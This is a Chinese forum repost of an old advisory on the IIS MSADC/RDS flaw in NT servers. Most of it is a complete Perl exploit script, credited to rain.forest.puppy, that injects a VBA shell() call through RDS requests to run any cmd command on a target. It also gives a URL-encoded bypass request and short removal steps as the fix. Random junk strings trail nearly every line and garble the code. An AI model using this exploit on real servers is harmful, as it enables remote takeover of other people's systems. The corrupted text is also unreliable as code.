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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) tv`b##  
>MSK.SNh  
涉及程序: ) <{u oH  
Microsoft NT server DA04llX~  
c~O Lr  
描述: y:^o ._  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 B-$?5Ft!  
e9 @{[  
详细: (z.n9lkfi  
如果你没有时间读详细内容的话,就删除: MBU|<tc  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 0[M2LF!m  
有关的安全问题就没有了。 ?Z_T3/ f  
"(vK.-T  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 F'sX ^/;  
[z ]P5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Dr(2@ 0P  
关于利用ODBC远程漏洞的描述,请参看: !LM`2|3$  
]1XtV<  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm t72u%M6  
4}k@p>5v'  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ot[ZFF\  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Maq`Or|4  
IW&*3I<K  
这里不再论述。 od5nRb  
/} z9(  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: =}kISh  
dKCl#~LAI'  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset TfT^.p*  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ZO cpF1y  
-j]c(Q MA]  
}e/vKW fT  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +_$s9`@]6  
HR"clD\{Di  
#!perl D_0sXIbg  
# {U$XHG  
# MSADC/RDS 'usage' (aka exploit) script DbLo{mFEIj  
# L.yM"  
# by rain.forest.puppy iu(obmh/o  
# cW_wIy\]&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me utuWFAGn A  
# beta test and find errors! E:B"!Y6  
NK/y,f6  
use Socket; use Getopt::Std; K>e-IxA);0  
getopts("e:vd:h:XR", \%args); V0Oqq0\  
BYMdX J  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $Wj{B@k  
!reOYt|  
if (!defined $args{h} && !defined $args{R}) { q4w]9b/  
print qq~ u&uFXOc'  
Usage: msadc.pl -h <host> { -d <delay> -X -v } w(aj'i  
-h <host> = host you want to scan (ip or domain) 3^% 2,  
-d <seconds> = delay between calls, default 1 second B }euIQB  
-X = dump Index Server path table, if available  R*2N\2  
-v = verbose Qs za,09  
-e = external dictionary file for step 5 )1B? <4  
K mH))LIv  
Or a -R will resume a command session 8.. |-<w  
f3G:J<cL  
~; exit;} _q#pEv  
X>yDj]*4P  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ZCj1Cz]"l<  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} PNo:[9`S;m  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} i6k6l%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); au+Jz_$)  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} |yO%w#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } T=u"y;&L  
WwTl|wgvyI  
if (!defined $args{R}){ $ret = &has_msadc; (|Gwg\r  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} gAorb\iJ  
_,60pr3D'  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8)?&eE'  
. "cmd /c "; !KOa'Ic$V  
$in=<STDIN>; chomp $in; r'#!w3*Cy  
$command="cmd /c " . $in ; D!Y@Og.  
#GlFm?/6K/  
if (defined $args{R}) {&load; exit;} dR.?Kv(,E  
5PZ7-WJ/  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; '+{yg+#/wV  
&try_btcustmr; #`gX(C>  
(nq""kO6'  
print "\nStep 2: Trying to make our own DSN..."; /iM1   
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |3E|VGm~  
X$ \CC18  
print "\nStep 3: Trying known DSNs..."; 2IW!EUR  
&known_dsn; W`vPf  
TA/hj>rV  
print "\nStep 4: Trying known .mdbs..."; ~!mY0odH  
&known_mdb; ibZ[U p?  
]zyT_}&  
if (defined $args{e}){ 3bezYk  
print "\nStep 5: Trying dictionary of DSN names..."; u;H^4} OQ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .wq j  
`3ha~+Goo!  
print "Sorry Charley...maybe next time?\n"; AEnkx!o  
exit; v&;JVai  
u(8{5"C  
############################################################################## qS! Lt3+  
j*|0#q;e6  
sub sendraw { # ripped and modded from whisker s?m_zJh  
sleep($delay); # it's a DoS on the server! At least on mine... &F :.V$  
my ($pstr)=@_; uwI"V|g%a&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || J`0dF<<{[y  
die("Socket problems\n"); [Q8Wy/o Q  
if(connect(S,pack "SnA4x8",2,80,$target)){ W&cs&>F#  
select(S); $|=1; |,`"Omb9+m  
print $pstr; my @in=<S>; P3W3+pwq  
select(STDOUT); close(S); '[8w8,v(  
return @in; 9]ZfSn)  
} else { die("Can't connect...\n"); }} l$j~p=S$F  
YU6|/ <8  
############################################################################## ;Dp*.YJ  
{na>)qzKP  
sub make_header { # make the HTTP request OhN2FkxL  
my $msadc=<<EOT E A55!  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 mDp8JNJNE  
User-Agent: ACTIVEDATA _~yd  
Host: $ip lY@2$q9BT  
Content-Length: $clen JBHPI@Qt%  
Connection: Keep-Alive &$2d=q8mh  
@N<h`vDa  
ADCClientVersion:01.06 w{_g"X  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^fO9oPM|  
5c}loOq  
--!ADM!ROX!YOUR!WORLD! |BhL.  
Content-Type: application/x-varg !PeSnO  
Content-Length: $reqlen GSSmlJ`  
gzvgXZ1q"  
EOT h,&{m*q&  
; $msadc=~s/\n/\r\n/g; A2L"&dl  
return $msadc;} %zY5'$v `  
~&<vAgy,  
############################################################################## \Ezcr=0z{j  
~;]zEq-hG  
sub make_req { # make the RDS request Z Q*hrgQ  
my ($switch, $p1, $p2)=@_; /%jX=S.5h<  
my $req=""; my $t1, $t2, $query, $dsn; 9dAtQwGR"6  
y<nPZ<h  
if ($switch==1){ # this is the btcustmr.mdb query JJg;X :p  
$query="Select * from Customers where City=" . make_shell(); >L "+8N6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . <2<2[F5Q%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} @^ &p$:  
0:I<TJ~P  
elsif ($switch==2){ # this is general make table query * Wp?0CP  
$query="create table AZZ (B int, C varchar(10))"; 8b-mW>xsA  
$dsn="$p1";} @x!+_z  
#U w X~  
elsif ($switch==3){ # this is general exploit table query -(lP8Y~gFY  
$query="select * from AZZ where C=" . make_shell(); >)diXe}j  
$dsn="$p1";} <ty]z!B  
=w`uZ;l$Q  
elsif ($switch==4){ # attempt to hork file info from index server bd}[X'4d  
$query="select path from scope()"; nq>F_h  
$dsn="Provider=MSIDXS;";} YjL'GmL<  
XHJ` C\xR  
elsif ($switch==5){ # bad query [7 r^fD A  
$query="select"; b]xoXC6@t  
$dsn="$p1";} YXqYIG.G  
1/;E8{  
$t1= make_unicode($query); 1$C?+H  
$t2= make_unicode($dsn); 3 4%B0  
$req = "\x02\x00\x03\x00"; ?GhMGpd Mq  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0m> 8  
$req.= "\x00\x00" . $t1 ; N`?/kubD  
$req.= "\x08\x00" . pack ("S1", length($t2)); 84e8z{  
$req.= "\x00\x00" . $t2 ; ^"=G=* /  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; LCj3{>{/=  
return $req;} uHmvHA~/c8  
W|zPV`  
############################################################################## 2T(+VeMQ=  
@+p(%  
sub make_shell { # this makes the shell() statement r7?nHF  
return "'|shell(\"$command\")|'";}  qbS6#7D  
kn$_X4^?  
############################################################################## m`q&[:  
BgdUG:;&  
sub make_unicode { # quick little function to convert to unicode m2l9([u=^  
my ($in)=@_; my $out; c[ 0`8s!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } xHaz*w1|  
return $out;} Kj3Gm>B<y  
R'>@ja*  
############################################################################## VMJaL}J]  
T KAs@X,t  
sub rdo_success { # checks for RDO return success (this is kludge) mDbTOtD  
my (@in) = @_; my $base=content_start(@in); }KIS_krs  
if($in[$base]=~/multipart\/mixed/){ MVvBd3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &s?uMWR  
return 0;} cVxO\M  
.%.7~Nu,  
############################################################################## k_1@?&3  
F |5Au>t  
sub make_dsn { # this makes a DSN for us L1(-xNUo_i  
my @drives=("c","d","e","f"); #<e D  
print "\nMaking DSN: "; >s"/uo  
foreach $drive (@drives) { U{[YCs fk  
print "$drive: "; :@-yK8q's  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #rBfp|b]1  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" [v*q%Mi_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); G?XA",AC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Y(kf<Wo  
return 0 if $2 eq "404"; # not found/doesn't exist ?{`7W>G  
if($2 eq "200") { eQ8t.~5;-  
foreach $line (@results) { 7'i{JPm  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p0zC(v0*  
} return 0;} BQg3+w:>  
to&,d`k=-  
############################################################################## Gs3V]qbEP  
$)o0{HsL+  
sub verify_exists { Kn@#5MC rU  
my ($page)=@_; VWHpfm[r%  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6<fG; :  
return $results[0];} Jkbeh.  
YCxwIzIR  
############################################################################## kI@<H<  
$^{#hYq)o  
sub try_btcustmr { y'4Qt.1ukN  
my @drives=("c","d","e","f"); ?(d1;/0v>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Fc\]*  
U 887@-!3  
foreach $dir (@dirs) { Gvh"3|u ?z  
print "$dir -> "; # fun status so you can see progress 5BXku=M  
foreach $drive (@drives) { LOfw #+]d  
print "$drive: "; # ditto "H`Be  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !Pnjr T  
$reqlenlen=length( "$reqlen" ); vVa|E# [  
$clen= 206 + $reqlenlen + $reqlen; 76<mP*5  
457{9k  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); y<Xu65  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} {b4`\ I@<  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #*_!Xc9f  
-q{N1? tcy  
############################################################################## lbIPtu  
o#f"wQH;p  
sub odbc_error { jLVD37 P^  
my (@in)=@_; my $base; t&{;6MiE  
my $base = content_start(@in); z_ycH%p  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this &*+$38XE^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ll X `  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &Q?@VN i  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; TK\3mrEI  
return $in[$base+4].$in[$base+5].$in[$base+6];} Ta?}n^V?;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; DWKQ>X6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . F.$z7ee@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} `<se&IZE  
YFB>GQ;  
############################################################################## XxmWj-=qO  
OR~ui[w  
sub verbose { IV. })8  
my ($in)=@_; lRg?||1ik  
return if !$verbose; "*t6KXVaM  
print STDOUT "\n$in\n";} qovsM M  
A3_p*n@  
############################################################################## 0N>K4ho6{  
;i6~iLY  
sub save { >{Hg+/  
my ($p1, $p2, $p3, $p4)=@_; Hm'"I!jyO  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; &F~d~;G"q  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; kpn|C 9r  
close OUT;} tjXg  
66eJp-5e8  
############################################################################## gU x}vE-  
W$zRUG-  
sub load { +8//mrL_/  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; v~L\[&|_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @s-P!uCaT  
@p=<IN>; close(IN); diJpbR^JP  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); BVb^xL  
$target= inet_aton($ip) || die("inet_aton problems"); l6HtZ(  
print "Resuming to $ip ..."; /)_4QSz7  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; hTn"/|_SW  
if($p[1]==1) { ,6g{-r-2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; lUEbxN  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6J,h}S  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); KZ7B2  
if (rdo_success(@results)){print "Success!\n";} K.}jOm  
else { print "failed\n"; verbose(odbc_error(@results));}} WkA47+DsV  
elsif ($p[1]==3){ cl^UFl f[  
if(run_query("$p[3]")){ Bzwll  
print "Success!\n";} else { print "failed\n"; }} [y`G p#  
elsif ($p[1]==4){ jJiuq#;T3  
if(run_query($drvst . "$p[3]")){ 8+oc4~!A@n  
print "Success!\n"; } else { print "failed\n"; }} }NC$Ce  
exit;}  : Z<\R0  
a^J(TW/  
############################################################################## *J[ P#y  
2Cp4aTGv#  
sub create_table { tB>!1}v  
my ($in)=@_; j? BL8E'   
$reqlen=length( make_req(2,$in,"") ) - 28; _9lMa 7i  
$reqlenlen=length( "$reqlen" ); D|ze0A@  
$clen= 206 + $reqlenlen + $reqlen; aF?_V!#cT  
my @results=sendraw(make_header() . make_req(2,$in,"")); PM84Z@Y  
return 1 if rdo_success(@results); IwnDG;+Ap  
my $temp= odbc_error(@results); verbose($temp); Gxe)5,G  
return 1 if $temp=~/Table 'AZZ' already exists/; j67a?0<C2U  
return 0;} a8T9=KY^  
y+iRZ%V^  
############################################################################## )b1hF  
D*-  
sub known_dsn { |"LHo  H  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go q&@s/k  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", r[Pp[ g-J  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", V"4L=[le  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ~>>_`;B  
>WLX5i&  
foreach $dSn (@dsns) { g$GGo[_0  
print "."; QoxYzln  
next if (!is_access("DSN=$dSn")); BT [|f[1  
if(create_table("DSN=$dSn")){ M%ecWr!tj  
print "$dSn successful\n"; D@uVb4uK  
if(run_query("DSN=$dSn")){ xbCR4upS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }TMO>eB'  
print "Something's borked. Use verbose next time\n";}}} print "\n";} dnD@BQ  
<MG&3L.[  
############################################################################## `:3nF'  
kB@gy}  
sub is_access { f{VV U/$  
my ($in)=@_; %|H]T] s  
$reqlen=length( make_req(5,$in,"") ) - 28; VCc=dME  
$reqlenlen=length( "$reqlen" ); O1o>eDE5A  
$clen= 206 + $reqlenlen + $reqlen; zl8M<z1`1  
my @results=sendraw(make_header() . make_req(5,$in,"")); *bp09XG  
my $temp= odbc_error(@results); Y({ R\W|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); =!SV;^-q  
return 0;} P,pC Z+H  
ZbT$f^o}M]  
############################################################################## P0>2}/;o  
Ci-Ze j  
sub run_query { 3\}u#/Vb  
my ($in)=@_; |qe;+)0>K  
$reqlen=length( make_req(3,$in,"") ) - 28; 8'@5X-nD  
$reqlenlen=length( "$reqlen" ); >Du=(pB  
$clen= 206 + $reqlenlen + $reqlen; yC$m(Y12FN  
my @results=sendraw(make_header() . make_req(3,$in,"")); [(Z(8{3i  
return 1 if rdo_success(@results); 2Pm}wD^`  
my $temp= odbc_error(@results); verbose($temp); q n-f&R  
return 0;} f$^wu~  
QBGm)h?=  
############################################################################## 'MW%\W;  
py\:u5QS  
sub known_mdb { `,SL\\%u  
my @drives=("c","d","e","f","g"); ^X{U7?x  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B /uaRi%  
my $dir, $drive, $mdb; P `@Rt  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; o#6QwbU25  
tgG 8pL  
# this is sparse, because I don't know of many D*2*FDGI  
my @sysmdbs=( "\\catroot\\icatalog.mdb", I H=$ w c  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", eZa7brC|  
"\\system32\\certmdb.mdb", 2F*>&n&Db7  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% z4_B/Q  
)rP,+B?W  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Kw"e4 a  
"\\cfusion\\cfapps\\forums\\forums_.mdb", kCEuzd=$V  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", KwHN c\\  
"\\cfusion\\cfapps\\security\\realm_.mdb", 0<v5_ pB  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /UK?&+1qE  
"\\cfusion\\database\\cfexamples.mdb", QWa@?BO2p  
"\\cfusion\\database\\cfsnippets.mdb", Pl/Xh03E  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 4>oM5Yf8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", (${:5W  
"\\cfusion\\brighttiger\\database\\cleam.mdb", y'`7zJ  
"\\cfusion\\database\\smpolicy.mdb", GdUsv  
"\\cfusion\\database\cypress.mdb", tn Ufi8\ob  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", wipl5O@L  
"\\website\\cgi-win\\dbsample.mdb", 3'x>$5 W  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5B|.cOE  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |U1 [R\X  
); #these are just bL* b>R[x  
foreach $drive (@drives) { ]QR]#[Tn'  
foreach $dir (@dirs){ Nb:j]U  
foreach $mdb (@sysmdbs) { ds+K7B$  
print "."; V0 {#q/q  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Drtg7v{@\  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; %T>@Ldt  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Xj+_"0 #  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; j[i*;0) |  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 8tSY|ME  
kJ"rRsK  
foreach $drive (@drives) { %[KnpJ{\  
foreach $mdb (@mdbs) { vkJyD/;=  
print "."; w^8Q~ 3|7  
if(create_table($drv . $drive . $dir . $mdb)){ Q8Ek}O\MC  
print "\n" . $drive . $dir . $mdb . " successful\n"; BMO,eQcB  
if(run_query($drv . $drive . $dir . $mdb)){ }iDRlE,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; SaGI4O_\s  
} else { print "Something's borked. Use verbose next time\n"; }}}} 0 N7I:vJ  
} 3HXeBW  
:I7qw0?  
############################################################################## A4(L47^  
M:OZWYQ  
sub hork_idx { 16eP7s  
print "\nAttempting to dump Index Server tables...\n"; JdI*@b2k[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; V^FM-bg%9  
$reqlen=length( make_req(4,"","") ) - 28; cHr]{@7Cs  
$reqlenlen=length( "$reqlen" ); )M Iw/  
$clen= 206 + $reqlenlen + $reqlen; 4w%hvJ  
my @results=sendraw2(make_header() . make_req(4,"","")); =>PX~/o  
if (rdo_success(@results)){ SE(<(w  
my $max=@results; my $c; my %d; z^gz kXx7  
for($c=19; $c<$max; $c++){ _:Q^mV=;j  
$results[$c]=~s/\x00//g; l+6@,TY1U  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hb~d4J=S  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; V9< E `C  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; GB `n  
$d{"$1$2"}="";} XdIno}pN  
foreach $c (keys %d){ print "$c\n"; } \4$Nx/@Q}  
} else {print "Index server doesn't seem to be installed.\n"; }} sCy.i/y  
EhO\N\p(Q=  
############################################################################## pvt/{  
IuPDr %  
sub dsn_dict { A<H]uQ>  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %O%;\t  
while(<IN>){ 5C*Zb3VG4  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; u]B b^[  
next if (!is_access("DSN=$dSn")); :/? Op  
if(create_table("DSN=$dSn")){ D.AiqO<z  
print "$dSn successful\n"; HWoMzp5="3  
if(run_query("DSN=$dSn")){ AS0(NlV  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { jc6~V$3  
print "Something's borked. Use verbose next time\n";}}} A+Je?3/.  
print "\n"; close(IN);} 4mBM5Tv  
6"?#s/fk  
############################################################################## G@ybx[_[@  
/mE:2K]C  
sub sendraw2 { # ripped and modded from whisker PK?}hz  
sleep($delay); # it's a DoS on the server! At least on mine... 3s:)CXO  
my ($pstr)=@_; !5m~qet.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .q]K:}9!\  
die("Socket problems\n"); ioTqT:.  
if(connect(S,pack "SnA4x8",2,80,$target)){ $3#oA.~R/  
print "Connected. Getting data"; z5:3.+M5  
open(OUT,">raw.out"); my @in; _;(Q MeR  
select(S); $|=1; print $pstr; /$vX1T  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} jAt6 5a  
close(OUT); select(STDOUT); close(S); return @in; mn<ea&  
} else { die("Can't connect...\n"); }} 8^-g yx'  
NVC$8imip  
############################################################################## nzYFa J+  
a~tBgy+9  
sub content_start { # this will take in the server headers 4P24ySy9F  
my (@in)=@_; my $c; >273V+dy  
for ($c=1;$c<500;$c++) { Z[j-.,Qu  
if($in[$c] =~/^\x0d\x0a/){ nDchLVw  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } hi]\M)l&x  
else { return $c+1; }}} !q PUQ+  
return -1;} # it should never get here actually T?5F0WKi  
GWShv\c}  
############################################################################## / dn]`Ge)  
'Uo:b<  
sub funky { Ix5yQgnB}j  
my (@in)=@_; my $error=odbc_error(@in); V'?nS&,i  
if($error=~/ADO could not find the specified provider/){ %n c+VL4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 4]8PF  
exit;} 1Kebl  
if($error=~/A Handler is required/){ ck<4_?1]  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8@Km@o]?  
exit;}  Q{Bj(f  
if($error=~/specified Handler has denied Access/){ S"Zs'7dy`  
print "\nServer has custom handler filters (they most likely are patched)\n"; QnOa?0HL/  
exit;}} khu,P[3>  
gA) F  
############################################################################## $S cjEG:6  
)d1,}o  
sub has_msadc { ;[ zx'e?!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 42Ffx?Qmv  
my $base=content_start(@results); }&naP   
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ) DLK<10  
return 0;} "Ii!)n,  
/iQ>he~fy  
######################## {DO9{96w4  
Zd%\x[f9ck  
|)_<JAN  
解决方案: E|Lh$9XONA  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll `4p9K  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \dMsv1\  
0&-sz=L  
拿出来充数 哈哈
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